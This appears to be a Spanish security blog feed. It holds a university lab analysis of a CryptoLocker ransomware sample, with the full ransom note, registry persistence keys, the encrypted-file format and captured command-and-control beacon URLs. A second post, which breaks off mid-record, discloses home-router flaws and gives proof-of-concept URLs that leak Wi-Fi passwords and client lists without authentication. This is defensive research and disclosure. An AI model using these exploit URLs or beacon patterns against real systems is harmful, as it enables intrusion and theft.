    .APK .DOCX .LITEMOD .PFX .SRW .ARCH00 .DWG .LRF .PKPASS .SUM
    .ARW .DXG .LTX .PNG .SVG .ASSET .EPK .LVL .PPT .SYNCDB
    .AVI .EPS .M2 .PPTM .T12 .BAR .ERF .M3U .PPTX .T13
    .BAY .ESM .M4A .PSD .TAX .BC6 .FF .MAP .PSK .TOR
    .BC7 .FLV .MCMETA .PST .TXT .BIG .FORGE .MDB .PTX .UPK
    .BIK .FOS .MDBACKUP .PY .VDF .BKF .FPK .MDDATA .QDF .VFS0
    .BKP .FSH .MDF .QIC .VPK .BLOB .GDB .MEF .R3D .VPP_PC
    .BSA .GHO .MENU .RAF .VTF .CAS .HKDB .MLX .RAR .W3X
    .CDR .HKX .MPQGE .RAW .WB2 .CER .HPLG .MRWREF .RB .WMA
    .CFR .HVPL .NCF .RE4 .WMO .CR2 .IBANK .NRW .RGSS3A .WMV
    .CRT .ICXS .NTL .RIM .WOTREPLAY .CRW .INDD .ODB .ROFL .WPD
    .CSS .ITDB .ODC .RTF .WPS .CSV .ITL .ODM .RW2 .X3F
    .D3DBSP .ITM .ODP .RWL .XF .DAS .IWD .ODS .SAV .XLK
    .DAZIP .IWI .ODT .SB .XLS .DB0 .JPE .ORF .SID .XLSB
    .DBFV .JPEG .P12 .SIDD .XLSM .DCR .JPG .P7B .SIDN .XLSX
    .DER .JS .P7C .SIE .XXX .DESC .KDB .PAK .SIS .ZTMP

    Recuperación y análisis del fichero "key.dat"

    Utilizando los permisos de seguridad de las carpetas de Windows, impedimos al usuario con el que ejecutaremos CryptoLocker el borrar ficheros o carpetas, dentro de la ruta: %APPDATA%\key.dat, para impedir que elimine el fichero key.dat y poder proceder a analizarlo.
    Configuración Avanzada de Carpetas
    Configuración Avanzada de Carpetas Microsoft.

    De partida ya observamos que el fichero key.dat es diferente de una infección a otra, debido a, como veremos, a que contiene datos particulares de la infección que irán variando de uno a otro (dirección de bitcoin, por ejemplo).

    Para validar este aspecto realizamos dos infecciones sobre la misma máquina recuperando su estado y procediendo a comparar las huellas MD5 de los ficheros key.dat recuperados:

    # md5sum key.dat*
    cf56546477d61565b2f8644e6ae8b518 key.dat
    3bc1436b2f5e75ed7590b0b51f62a451 key.dat.2

    Analizando su estructura, vemos la dirección bitcoin en los primeros 34 bytes (la destacaremos en naranja), observando datos, presumiblemente relacionados con las claves de cifrado y otros datos de la víctima, en otras posiciones que destacaremos en verde:
    Fichero key.dat
    Fichero key.dat

    Validamos la dirección bitcoin en Base58 Encode, Decode, and Validate:
    Validación de dirección bitcoin incluida en key.dat
    Validación de dirección bitcoin incluida en key.dat.
    Para el análisis de este tipo de fichero, creamos unas clases básicas en el lenguaje Python, que pueden ser descargadas desde el siguiente repositorio en GitHub.

    Muestra parcial del código python.

    Creación de ficheros de ayuda a la recuperación

    Observamos que el malware, crea un fichero llamado: "HELP_RESTORE_FILES.txt" en cada uno de los directorios donde ha afectado a ficheros del usuario.
    El texto incluido es el siguiente:


    All your documents, photos, databases and other important files have been encrypted
    with strongest encryption RSA-2048 key, generated for this computer.

    Private decryption key is stored on a secret Internet server and nobody can
    decrypt your files until you pay and obtain the private key.

    If you see the main encryptor red window, examine it and follow the instructions.
    Otherwise, it seems that you or your antivirus deleted the encryptor program.
    Now you have the last chance to decrypt your files.

    Open http://34r6hq26q2h4jkzj.42k2bu15.com or http://34r6hq26q2h4jkzj.79fhdm16.com,
    https://34r6hq26q2h4jkzj.tor2web.blutmagie.de/ in your browser.
    They are public gates to the secret server.
    Copy and paste the following Bitcoin address in the input form on server. Avoid missprints.
    17JHJkNPhM4mPvPEaJzdnSFjz545ejkQNs
    Follow the instructions on the server.



    If you have problems with gates, use direct connection:
    1. Download Tor Browser from http://torproject.org
    2. In the Tor Browser open the http://34r6hq26q2h4jkzj.onion/
    Note that this server is available via Tor Browser only.
    Retry in 1 hour if site is not reachable.
    Copy and paste the following Bitcoin address in the input form on server. Avoid missprints.
    17JHJkNPhM4mPvPEaJzdnSFjz545ejkQNs
    Follow the instructions on the server.


    En él se nos indica lo que ha sucedido con nuestros datos y cómo proceder a recuperarlos siguiendo las instrucciones para pagar el rescate establecido.

    Nota: Destacamos una vez más que el pago del rescate, no garantiza la recuperación de los datos en todos los casos, además de que alienta a los cibercriminales a seguir utilizando estos métodos.

    También creará un fichero en la siguiente ruta: : %APPDATA%\log.html, incluyendo el listado de los ficheros afectados y que será presentado dentro del navegador al usuario en caso de que pulse sobre el botón "Show files" de la ventana de CryptoLocker, como vemos en la siguiente captura:
    Log de ficheros cifrados, captura parcial.
    Captura parcial del log de los ficheros cifrados.

    Modificaciones sobre el registro del sistema

    Analizamos los cambios que lleva a cabo sobre el registro, entre los que destacamos:

    Arranque de CryptoLocker

    Activación de CryptoLocker en cada arranque, añadiendo la siguiente clave:

    HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\msconfig: "C:\Users\IEUser\AppData\Roaming\megdkmu.exe"

    megdkmu, es el fichero que creó en el momento de infección, su nombre va variando de una infección a otra y se ubica en: "%APPDATA%".

    Fondo de Escritorio

    Establecimiento del fondo de escritorio con una imagen que contiene la misma información que el fichero HELP_RESTORE_FILES.txt, mediante las siguientes claves de registro:

    HKU\S-1-5-21-3463664321-2923530833-3546627382-1000\Control Panel\Desktop\Wallpaper: "C:\Users\IEUser\AppData\Local\Temp\BGInfo.bmp"
    HKU\S-1-5-21-3463664321-2923530833-3546627382-1000\Control Panel\Desktop\Wallpaper: "C:\Users\IEUser\Desktop\HELP_RESTORE_FILES.bmp"

    Incluimos una captura de dicho fondo de escritorio:
    Fondo de pantalla de Cryptolocker
    Fondo de pantalla de Cryptolocker

    Búsqueda de rootkits

    Utilizamos la herramienta GMER para la búsqueda de posibles rootkits instalados en la máquina víctima, con resultado negativo.

    El uso de rootkits, es habitual en mucho malware, en especial en aquel que desea mantener el control del equipo (como los que se añaden a botnets).

    Análisis de los Ficheros Cifrados (.ECC)

    Trabajaremos con los ficheros generados por el ransomware, con extensión .ECC. Desvelando los siguientes aspectos:

    Comprobación del uso de idénticas o diferentes claves de cifrado

    Para comprobar si el malware utiliza la misma clave de cifrado para cada fichero o diferentes, creamos un fichero de texto y dos duplicados idénticos del mismo. A estos tres ficheros los llamamos: honey1.txt, honey2.txt, honey3.txt:
    MD5 Ficheros trampa
    MD5 Ficheros trampa

    Observamos que se han cifrado con diferente clave (y/o diferente vector de inicialización), ya que el MD5 de cada uno de ellos, una vez cifrados es diferente, a pesar de que su tamaño sea el mismo:

    root@styx:/lab/analyses/cryptolockerHoney14May2015# md5sum Honey*.ecc
    c2fce3c0761eb1c60e8a0cfb49829189 Honey1.txt.ecc
    7512fbad7ee117e9a3c165296d12d2b8 Honey2.txt.ecc
    root@styx:/lab/analyses/cryptolockerHoney14May2015# ls -l Honey*.ecc
    -rw-r--r-- 1 root root 52 May 14 06:47 Honey1.txt.ecc
    -rw-r--r-- 1 root root 52 May 14 06:47 Honey2.txt.ecc -rw-rw-r-- 1

    Estructura del fichero .ECC

    Encontramos que el tamaño del fichero trampa antes del cifrado es de 18 bytes.
    Este valor, lo localizamos, dentro del fichero cifrado (.ECC), en hexadecimal en la posición hexadecimal 0x10 (se trata de un valor hexadecimal) (es decir, en el byte 16) en Little-Endian, ocupando 4 bytes.

    Como podemos verificar en los siguientes ejemplos. Los ficheros trampa generados, antes de ser cifrados, ocupan 18 bytes:

    $ ls -l Honey*.txt
    -rw-r--r-- 1 arnaiz root 18 May 14 15:54 Honey1.txt
    -rw-r--r-- 1 arnaiz root 18 May 14 15:54 Honey2.txt

    En el fichero con extension .ECC generado por el ransomware observamos este valor en hexadecimal en, como comentábamos, byte 16 (posición 0x10 hexadecimal), para ambos ficheros cifrados (Honey1.txt.ecc y Honey2.txt.ecc):
    honey1.txt.ecc
    Honey1.txt.ecc

    honey2.txt.ecc
    Honey2.txt.ecc

    En esa posición, los 4 bytes en ambos ficheros, representan el valor hexadecimal: 0x12000000, que transformado desde Little-endian, sería: 0x00000012 o 18 decimal, tamaño del fichero -sin cifrar- original.

    Pensando en AES que es uno de los cifrados simétricos utilizados en otros ransomware, en los modos CBC (Cipher Block Chaining) requiere un vector de iniciación de 16 bytes (justo los mismos bytes que hay delante del tamaño del fichero original), además un fichero de un total de 18 bytes cifrado con AES-CBC, genera una salida cifrada de 32 bytes.

    Como podemos ver en la siguiente captura de muestra (incluimos el mismo texto y tamaño en bytes que en el fichero original y seleccionamos cifrado AES con CBC), utilizando cualquier clave, obtenemos un resultante cifrado de, como comentábamos, 32 bytes:
    Prueba de cifrado con AES-CBC



    Prueba de cifrado con AES-CBC. Utilizando esta herramienta on-line

    Creemos que la clave de cifrado estaría almacenada de alguna manera en el fichero key.dat, y es el vector de inicialización (codificado o no) lo que se almacena en el propio fichero .ECC.

    El uso de AES-CBC con diferentes vectores almacenados junto con el propio fichero cifrado, encaja con el hecho de que dos ficheros idénticos resulten en datos cifrados diferentes.

    Incluimos una representación gráfica de la estructura de fichero que hemos estimado:
    Estructura estimada del fichero cifrado .ECC.
    Para el análisis de este tipo de fichero, creamos unas clases básicas en el lenguaje Python, que pueden ser descargadas desde el siguiente repositorio en GitHub.

    Análisis de Red

    Utilizaremos nuestro equipo virtual styx como único equipo visible en la red y mediante inetsim simularemos servicios de red como HTTP, DNS y otros. Para controlar el tráfico del equipo y posteriormente poder analizarlo, dichos servicios simulados resuelven todas las peticiones DNS a la IP del propio styx, de manera que, además de aislar totalmente el equipo, podemos hacer lo que se conoce como Hombre en el Medio de las peticiones de red.

    Análisis de solicitudes DNS

    Analizando el tráfico de red generado y registrado gracias a inetsim, encontramos las siguientes peticiones DNS desde la máquina infectada con la muestra:

    root@styx:/lab/analyses/cryptolocker2# grep 'requested name' report.2896.txt
    2015-04-22 13:20:34 DNS connection, type: A, class: IN, requested name: ipinfo.io
    2015-04-22 13:20:34 DNS connection, type: A, class: IN, requested name: 7tno4hib47vlep5o.63ghdye17.com
    2015-04-22 13:20:35 DNS connection, type: A, class: IN, requested name: 7tno4hib47vlep5o.79fhdm16.com
    2015-04-22 13:20:35 DNS connection, type: A, class: IN, requested name: 7tno4hib47vlep5o.tor2web.blutmagie.de
    2015-04-22 13:20:36 DNS connection, type: A, class: IN, requested name: 7tno4hib47vlep5o.tor2web.fi
    2015-04-22 13:43:26 DNS connection, type: A, class: IN, requested name: go.microsoft.com
    2015-04-22 13:44:54 DNS connection, type: A, class: IN, requested name: spynet2.microsoft.com
    2015-04-22 13:51:33 DNS connection, type: A, class: IN, requested name: time.windows.com

    Podemos ignorar las tres últimas peticiones a servicios de Microsoft ya que se trata del comportamiento normal de este Sistema Operativo. Observamos la solicitud de los siguientes nombres de dominio (destacados en negrita), producidos en unos dos segundos de diferencia:

    • ipinfo.io
    • 7tno4hib47vlep5o.63ghdye17.com
    • 7tno4hib47vlep5o.79fhdm16.com
    • 7tno4hib47vlep5o.tor2web.blutmagie.de
    • 7tno4hib47vlep5o.tor2web.fi

    Repitiendo estas mismas pruebas antes de que pasasen 24 horas, y también una vez pasadas 72 horas, obtuvimos estos mismos resultados.

    • Ipinfo.io, para obtener información sobre la IP, geo-localización, etc.
    • El resto de dominios son dominios tor2web , que son utilizados como pasarela a servicios ocultos dentro de la red TOR , para usuarios que no estén utilizando dicha red.
    • Comparando con informes existentes de otras muestras de Cryptolocker, observamos que algunos dominios se repiten y otros van variando como parte de la evolución del malware. Por ejemplo Symantec, encontraba dos de esos dominios y un tercero diferente y lo señalaba en su informe de 2 de Marzo de 2015.

    Solicitudes HTTP

    Extrayendo, también del histórico de inetsum, las peticiones HTTP que no correspondieran a solicitudes normales de un equipo Microsoft Windows (intentos de actualizaciones, etc.), encontramos las siguientes:

    root@styx:/lab/analyses/cryptolocker# grep HTTP report.1036.txt | grep -v "microsoft.com\|windowsupdate.com\|msftncsi.com"
    2015-04-21 22:54:40 HTTP connection, method: GET, URL: http://ipinfo.io/ip, file name: /var/lib/inetsim/http/fakefiles/sample.html
    2015-04-21 22:54:40 HTTP connection, method: GET, URL: http://7tno4hib47vlep5o.63ghdye17.com/state1.php?U3ViamVjdD1QaW5nJmtleT0yMkI2QTYwODdCOTFFMzM2MUY0MkEyRTk1NzA1NUJFNEM3NEE3Nzg5NEZCNjU1N0E5OUIwRjQwNUYzOThENzdEJmFkZHI9MUVFUzZla25IcHdQWksyWUoyVDNEWkxFS3c4dHMxWjROQSZmaWxlcz0wJnNpemU9MCZ2ZXJzaW9uPTAuMy40YSZkYXRlPTE0Mjk2NDk3MDgmT1M9NzYwMSZJRD02MiZzdWJpZD0wJmdhdGU9RzAmaXNfYWRtaW49MSZpc182ND0wJmlwPTxodG1sPgogIDxoZWFkPgogICAgPHRpdGxlPk15IHBhZ2U8L3RpdGxlPgogIDwvaGVhZD4KICA8Ym9keT4KICAgIDxwPlRoaXMgaXMgbXkgcGFnZS48L3A+CiAgPC9ib2R5Pgo8L2h0bWw+JmV4ZV90eXBlPTE=, file name: /var/lib/inetsim/http/fakefiles/sample.html
    2015-04-21 22:54:40 HTTP connection, method: GET, URL: http://7tno4hib47vlep5o.79fhdm16.com/state1.php?FTdWJqZWN0PVBpbmcma2V5PTIyQjZBNjA4N0I5MUUzMzYxRjQyQTJFOTU3MDU1QkU0Qzc0QTc3ODk0RkI2NTU3QTk5QjBGNDA1RjM5OEQ3N0QmYWRkcj0xRUVTNmVrbkhwd1BaSzJZSjJUM0RaTEVLdzh0czFaNE5BJmZpbGVzPTAmc2l6ZT0wJnZlcnNpb249MC4zLjRhJmRhdGU9MTQyOTY0OTcwOCZPUz03NjAxJklEPTYyJnN1YmlkPTAmZ2F0ZT1HMSZpc19hZG1pbj0xJmlzXzY0PTAmaXA9PGh0bWw+CiAgPGhlYWQ+CiAgICA8dGl0bGU+TXkgcGFnZTwvdGl0bGU+CiAgPC9oZWFkPgogIDxib2R5PgogICAgPHA+VGhpcyBpcyBteSBwYWdlLjwvcD4KICA8L2JvZHk+CjwvaHRtbD4mZXhlX3R5cGU9MQ==, file name: /var/lib/inetsim/http/fakefiles/sample.html
    2015-04-21 22:54:45 HTTP connection, method: GET, URL: http://7tno4hib47vlep5o.63ghdye17.com/state1.php?U3ViamVjdD1DcnlwdGVkJmtleT0yMkI2QTYwODdCOTFFMzM2MUY0MkEyRTk1NzA1NUJFNEM3NEE3Nzg5NEZCNjU1N0E5OUIwRjQwNUYzOThENzdEJmFkZHI9MUVFUzZla25IcHdQWksyWUoyVDNEWkxFS3c4dHMxWjROQSZmaWxlcz0xNzY5JnNpemU9OTEmdmVyc2lvbj0wLjMuNGEmZGF0ZT0xNDI5NjQ5NzE0Jk9TPTc2MDEmSUQ9NjImc3ViaWQ9MCZnYXRlPUcwJmlzX2FkbWluPTEmaXNfNjQ9MCZpcD08aHRtbD4KICA8aGVhZD4KICAgIDx0aXRsZT5NeSBwYWdlPC90aXRsZT4KICA8L2hlYWQ+CiAgPGJvZHk+CiAgICA8cD5UaGlzIGlzIG15IHBhZ2UuPC9wPgogIDwvYm9keT4KPC9odG1sPiZleGVfdHlwZT0x, file name: /var/lib/inetsim/http/fakefiles/sample.html
    2015-04-21 22:54:45 HTTP connection, method: GET, URL: http://7tno4hib47vlep5o.79fhdm16.com/state1.php?U3ViamVjdD1DcnlwdGVkJmtleT0yMkI2QTYwODdCOTFFMzM2MUY0MkEyRTk1NzA1NUJFNEM3NEE3Nzg5NEZCNjU1N0E5OUIwRjQwNUYzOThENzdEJmFkZHI9MUVFUzZla25IcHdQWksyWUoyVDNEWkxFS3c4dHMxWjROQSZmaWxlcz0xNzY5JnNpemU9OTEmdmVyc2lvbj0wLjMuNGEmZGF0ZT0xNDI5NjQ5NzE0Jk9TPTc2MDEmSUQ9NjImc3ViaWQ9MCZnYXRlPUcxJmlzX2FkbWluPTEmaXNfNjQ9MCZpcD08aHRtbD4KICA8aGVhZD4KICAgIDx0aXRsZT5NeSBwYWdlPC90aXRsZT4KICA8L2hlYWQ+CiAgPGJvZHk+CiAgICA8cD5UaGlzIGlzIG15IHBhZ2UuPC9wPgogIDwvYm9keT4KPC9odG1sPiZleGVfdHlwZT0x, file name: /var/lib/inetsim/http/fakefiles/sample.html

    • Con la primera solicitud obtiene la IP de la máquina, consultando a: ipinfo
    • Observamos que se trata de peticiones tipo GET , dentro de las mismas podemos comprobar que están solicitando una página ".php" , lo cual es un aspecto a tener en cuenta en operaciones contra el Command & Control (C&C).
    Aparentemente, las peticiones HTTP (destacadas en marrón) están utilizando una codificación Base 64, que una vez decodificado, muestra lo siguiente (lo presentamos cronológicamente, según van sucediendo las conexiones):

    Subject=Ping&key=22B6A6087B91E3361F42A2E957055BE4C74A77894FB6557A99B0F405F398D77D&addr=1EES6eknHpwPZK2YJ2T3DZLEKw8ts1Z4NA&files=0&size=0&version=0.3.4a&date=1429649708&OS=7601&ID=62&subid=0&gate=G0&is_admin=1&is_64=0&ip=

    My page


    This is my page.



    &exe_type=1

    En esta primera solicitud a su centro de control, claramente está registrando el equipo como nueva víctima, está indicando que es administrador, versión del sistema, fecha y hora, etc. La dirección IP, obtenida mediante a la llamada a ipinfo.io, incluye información HTML devuelta por nuestro simulador HTTP (destacada en marrón).
    Se incluyen otros elementos, como:
    (1)
    • Subject: ping , entendemos que se trata de la primera comunicación para, como comentábamos, registrar el equipo.
    • Key: que varía de una ejecución a otra de la muestra, podría tratarse de un identificador del equipo y también podría estar relacionado con la clave del mismo. (22B6A6087B91E3361F42A2E957055BE4C74A77894FB6557A99B0F405F398D77D)
    • Addr: este valor es la dirección bitcoin asignada al usuario para el pago del rescate, es única para cada víctima y viene en formato base-58, utilizado en las direcciones bitcoin. (1EES6eknHpwPZK2YJ2T3DZLEKw8ts1Z4NA)
    • Files: que indica como confirmamos más adelante, el número de ficheros cifrados en el momento en que se produce la comunicación (0 ya que se trata de la primera comunicación.
    • Size: desconocemos qué indica este atributo. (0)
    • Is_64 => indica si la arquitectura es de 64 bits o no. (0 que indica que no es una arquitectura de 64 bits).

    Validamos la dirección bitcoin, mediante la utilidad web Base58 Encode, Decode, and Validate:
    Validación de dirección de bitcoin
    Validación de dirección de bitcoin


    * Tratamos de utilizar los datos incluidos en dicho fichero junto con la información enviada en las peticiones HTTP mostradas anteriormente que incluía un atributo llamado key, como claves de descifrado y verificación con resultado negativo.

    (2)
    • No pudimos decodificar este valor enviado, creemos que puede estar codificado de alguna otra manera, o bien utiliza algún tipo de cifrado u ofuscación.

    (3)
    • Subject: Crypted (cifrado, del inglés), entendemos que indica que ya se han cifrado ficheros en el equipo víctima.
    • Files: indica el número de ficheros afectados (1769, como mostraremos a continuación).
    • Size: (9) El valor ha cambiado desde la primera comunicación, pero aún no tenemos indicios suficientes para poder determinar en qué está basado.
    • Versión: nuestra hipótesis es que se trata del número de versión del malware (0.3.4a)
    • Fecha: cuyo valor (1429649714) es un sello de tiempo, o timestamp , que marca la fecha y hora que tiene el equipo en el momento de la comunicación. (06/01/2015, 5:41pm (UTC).
    • OS: que entendemos que se trata de un identificador del Sistema Operativo infectado (7601).
    • ID: No tenemos indicios suficientes para saber de qué se trata, aunque creemos que está relacionado con el equipo de la víctima (62)
    • Subid: entendemos que se trata de un valor relacionado con el anterior (una subcategoría), (0).
    • Gate: no sabemos a qué hace referencia este parámetro (G0).
    • is_admin: se trata de un valor, en este caso positivo (1), indicando si el usuario con el que se ha ejecutado el malware y por tanto, los privilegios que tiene este aplicativo, es administrador o no.

    Confirmamos que el número de ficheros se trata del número de ficheros afectados, filtrando nuestro informe de ficheros creados (gracias a regshot) en busca de ficheros con extensión .ECC, es decir ficheros cifrados por CryptoLocker.

    root@pasteur:~# grep .ecc createdfiles.txt | wc -l
    1796

    (4)

    Subject=Crypted&key=22B6A6087B91E3361F42A2E957055BE4C74A77894FB6557A99B0F405F398D77D&addr=1EES6eknHpwPZK2YJ2T3DZLEKw8ts1Z4NA&files=1769&size=91&version=0.3.4a&date=1429649714&OS=7601&ID=62&subid=0&gate=G1&is_admin=1&is_64=0&ip=(...)

    *Mostramos los datos que consideramos relevantes:
    • Size: (91).
    • Gate (G1)


    * No pudimos determinar la motivación de ese cambio.

    Siguientes pasos

    Nos quedaron muchas cosas por probar y por hacer, si bien, creemos que puede ser interesante invertir esfuerzo en:

    • Análisis en debugger para tratar de descifrar el binario, deshaciendo el trabajo del packer, como en: Polymorphic Crypter - Morphine 2.7 by Holy_Father.
    • Un análisis dinámico de mayor profundidad tratando de determinar mediante un depurador, cómo lleva a cabo el proceso de cifrado, librerías y funciones de cifrado utilizadas, generación de la clave y codificación u ofuscación de la misma si se produjera, etc.

    Referencias y Bibliografía

    Training Resources de ENISA (European Union Network and Information Security Agency).
    Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code Paperback – November 2, 2010 by Michael Ligh (Author), Steven Adair (Author), Blake Hartstein (Author), Matthew Richard (Author).
    The holiday season and ransomware - November 27, 2013 / Vadim Kotov
    Reverse Engineering Malware For Newbies ToorCon 16Published on Oct 29, 2014

    Sobre los Autores

    Este trabajo ha sido desarrollado como parte de un proyecto de fin de Master, en el MÁSTER UNIVERSITARIO EN SEGURIDAD DE TECNOLOGÍAS DE LA INFORMACIÓN Y DE LAS COMUNICACIONES de la Universidad Europea de Madrid.
    En él han trabajado:
    Marcos Gómez Hidalgo. Especialista en seguridad informática, tutor del proyecto. mgomezhidalgo _ARROBA_ gmail.com.
    Manuel López Hidalgo. Ingeniero especialista en seguridad informática. beat.ransomware _ARROBA_ gmail.com
    Jesús Arnáiz Calvo. Ingeniero especialista en seguridad informática. jesusarnaizcts _ARROBA_ gmail.com
    Finalmente, agradecemos a Alejandro Cuenca Merchán, diseñador, por sus ilustraciones. cuencamerchan _ARROBA_ outlook.com


    Ilustración de cabecera, cortesía de Alejandro Cuenca
    Boceto de las viñetas de cabecera, gracias a la cortesía de Alejandro Cuenca.

    10 Jun 21:19

    Auditando routers domésticos

    by Contribuciones
    En primer lugar, presentarnos. Somos el grupo de investigadores de la Universidad Europea de Madrid (Jose Antonio Rodríguez García, Álvaro Folgado Rueda e Iván Sanz de Castro), que recientemente ha revelado 62 vulnerabilidades que afectan a 22 routers diferentes, la mayoría de ellos ampliamente extendidos en España. 

    El tutor del proyecto es uno de los editores de este blog: Alejandro Ramos.

    Desde el Máster en Seguridad de las TICs impartido en la Universidad Europea de Madrid, nos hemos embarcado en este proyecto, a nuestro juicio muy interesante: auditar uno de los dispositivos de red típicos en todos los hogares, el router.

    El objetivo de la investigación que hemos realizado, es evaluar el estado actual de la seguridad en routers domésticos, desarrollar una metodología de auditoría que facilite la tarea a investigadores futuros, y reportar las vulnerabilidades a los fabricantes y entidades competentes, para que los problemas de seguridad encontrados se solucionen en el menor tiempo posible.

    En esta breve entrada, vamos a definir los problemas de seguridad encontrados, plantear PoCs de dos de las vulnerabilidades, y exponer los resultados obtenidos.

    Deficiencias de seguridad

    A continuación, vamos a exponer brevemente las deficiencias de seguridad más comunes que hemos hallado a lo largo del proceso de auditoría. Esto nos permitirá entender el impacto y vector de explotación de cada una de las vulnerabilidades, aplicado a los routers domésticos:
    • Persistent Cross Site Scripting. Permite a un atacante inyectar código malicioso en la interfaz web de configuración del dispositivo. El código malicioso puede tener como objetivo secuestrar la sesión del usuario o infectar el navegador de la víctima, entre otras muchas cosas. El ataque se puede realizar en remoto, mediante el envío de un enlace malicioso a la víctima, o en local, si el usuario no ha cambiado las credenciales por defecto.
    • Unauthenticated Cross Site Scripting. En este caso, la inyección de código se realiza en local, pero sin necesidad de autenticación, mediante el envío de una trama DHCP Request, en la cual el parámetro hostname contiene el script malicioso a inyectar. Para facilitar el ataque, hemos desarrollado un script en Perl que manda una trama personalizada, pero es posible hacerlo mediante la modificación del fichero /etc/hostname en el equipo atacante conectado a la red.
    • Cross Site Request Forgery. Mediante el envío de un enlace específico o si la víctima accede a una página web maliciosa, un atacante puede modificar cualquier parámetro de configuración del router.
      Enlaces maliciosos destinados a modificar el DNS en Observa Telecom AW4062
    • Privilege Escalation. Un usuario sin privilegios de administración puede escalar a superusuario y realizar cualquier cambio en la configuración del dispositivo.
    • Information Disclosure. Un atacante, sin necesidad de un proceso de autenticación previo, puede obtener información crítica del dispositivo, como por ejemplo: la contraseña de la red inalámbrica, un listado de clientes conectados, y otros parámetros de configuración clave. Para descubrir este tipo de vulnerabilidades, es fundamental tener acceso al sistema de ficheros del router, siendo lo más efectivo montar su firmware.
    • Backdoor. Existen usuarios ocultos con privilegios de administrador, de los cuales el usuario final no tiene constancia, y que podrían permitir a un atacante acceder y modificar la configuración del dispositivo con facilidad.
    • Bypass Authentication. Un atacante puede configurar parámetros críticos del dispositivo, sin necesidad de autenticarse, como por ejemplo: modificar los servidores DNS, devolver el dispositivo a ajustes de fábrica, reiniciar el router en bucle generando una denegación de servicio persistente, e incluso tener acceso a todos los parámetros de configuración. 
    • Bypass Authentication using SMB Symlinks. Un atacante sin autenticar puede acceder al sistema de ficheros completo del router a través de un enlace simbólico en el servidor de SMB integrado, obtener las credenciales de todos los usuarios, y realizar cualquier cambio en la configuración.
    • USB Device Bypass Authentication. En caso de que exista un dispositivo de almacenamiento USB conectado al router, un atacante sin autenticar puede acceder, añadir, modificar y eliminar, todos los ficheros del mismo.
    • Universal Plug and Play. Un atacante puede aprovechar debilidades inherentes a este protocolo y realizar diversos ataques, tanto local como remotamente, sin necesidad de un proceso de autenticación previo. Por ejemplo, cambiar las reglas del firewall para facilitar la explotación de otras vulnerabilidades en remoto, o realizar una denegación de servicio persistente. La figura inferior muestra la explotación de esta vulnerabilidad de manera remota.
      Esquema de explotación remota de una vulnerabilidad UPnP

    Resultados

    Tras varios meses de investigación, se descubrieron más de 60 vulnerabilidades, que afectan a 22 modelos diferentes. En la figura inferior se observa el número de dispositivos y vulnerabilidades que afectan a cada fabricante.


    Vulnerabilidades por fabricante 

    En la siguiente tabla, se puede apreciar un completo listado de los dispositivos analizados, así como de las vulnerabilidades que afectan a los mismos.

    Tabla de vulnerabilidades
    Cabe resaltar, que si un router no aparece en el listado anterior, no significa que no sea vulnerable, si no que no ha sido auditado.

    Proof of Concepts

    Durante la investigación, se han desarrollado pruebas de concepto para cada una de las vulnerabilidades encontradas. Seguidamente, se detallan dos de ellas.

    Information Disclosure en Observa BHS-RTA

    Un atacante sin autenticar, puede obtener información crítica del dispositivo accediendo a determinadas URLs.

    Por ejemplo, para obtener información sobre los parámetros de conexión inalámbrica del dispositivo, incluida la clave de la red inalámbrica, solo es necesario acceder a la siguiente URL:
    http://<Router IP>/cgi-bin/webproc?getpage=html/gui/APIS/returnWifiJSON.txt&var:page=returnWifiJSON.txt&_=1430086147101
    { "RETURN":{ "success": true }, "WIFI": { "status":"1", "ssidName":"Amelia", "ssidVisibility":"1", "channelMode":"MANUAL", "channel":"4", "SECURITY":{ "cipherAlgorithm": "WPA" , "algVersion": "WPA1" , "passwordWEP":"12345", "passwordWPA":"GUSS1986", "passwordWPA2":"GUSS1986", "passwordAUTO":"GUSS1986" } }, "DHCP": { "status":"1", "poolStart":"192.168.1.33", "poolEnd":"192.168.1.254" }, "LAN": { "ip": "192.168.1.1" , "mask": "255.255.255.0", "ipLeafPath":"InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.1.IPInterfaceIPAddress" }, "DNS": { "dns":"80.58.61.250,80.58.61.254" }, "IPV6": { "ipv6": "fe80::e6c1:46ff:fee6:3818", "globalipv6": "", "prefixLen": "64", "interface": "", "mode": "1", "minID": "33", "maxID": "254" }, "PREFIX": [ { "prefix": "/", "name": "PVC:8/36" } , { "prefix": "", "name": "PVC:8/32" } , { "prefix": "", "name": "pppo3g" } ] }


    Para obtener información acerca de los clientes conectados, incluyendo sus direcciones MAC e IP, solo es necesario acceder a la siguiente URL:

    http://Router IP/cgi-bin/webproc?getpage=html/gui/APIS/returnDevicesJSON.txt&var:page=returnDevicesJSON.txt&_=1430086147101

    { "RETURN":{ "success":true }, "DEVICES":[ { "idDevice": "1", "nameDevice": "192.168.1.33", "idIcon": "DesktopComputer_1", "interfaceType": "Ethernet", "type": "Unknown", "ipAddress": "192.168.1.33", "macAddress": "MAC eliminada por razones de seguridad", "connected": true, "unknown": false, "blacklisted": false } , { "idDevice": "2", "nameDevice": "192.168.1.39", "idIcon": "DesktopComputer_1", "interfaceType": "WiFi", "type": "Unknown", "ipAddress": "192.168.1.39", "macAddress": "MAC eliminada por razones de seguridad", "connected": false, "unknown": false, "blacklisted": false } , { "idDevice": "3", "nameDevice": "192.168.1.35", "idIcon": "DesktopComputer_1", "interfaceType": "802.11", "type": "Unknown", "ipAddress": "192.168.1.35", "macAddress": "MAC eliminada por razones de seguridad", "connected": false, "unknown": false, "blacklisted": false } , { "idDevice": "4", "nameDevice": "192.168.1.36", "idIcon": "DesktopComputer_1", "interfaceType": "802.11", "type": "Unknown", "ipAddress": "192.168.1.36", "macAddress": "MAC eliminada por razones de seguridad", "connected": false, "unknown": false, "blacklisted": false } , { "idDevice": "5", "nameDevice": "192.168.1.37", "idIcon": "DesktopComputer_1", "interfaceType": "WiFi", "type": "Unknown", "ipAddress": "192.168.1.37", "macAddress": "MAC eliminada por razones de seguridad", "connected": false, "unknown": false, "blacklisted": false } , { "idDevice": "6", "nameDevice": "192.168.1.38", "idIcon": "DesktopComputer_1", "interfaceType": "802.11", "type": "Unknown", "ipAddress": "192.168.1.38", "macAddress": "MAC eliminada por razones de seguridad", "connected": false, "unknown": false, "blacklisted": false } , { "idDevice": "7", "nameDevice": "192.168.1.34", "idIcon": "DesktopComputer_1", "interfaceType": "802.11", "type": "Unknown", "ipAddress": "192.168.1.34", "macAddress": "MAC eliminada por razones de seguridad", "connected": false, "unknown": false, "blacklisted": false } , { "idDevice": "8", "nameDevice": 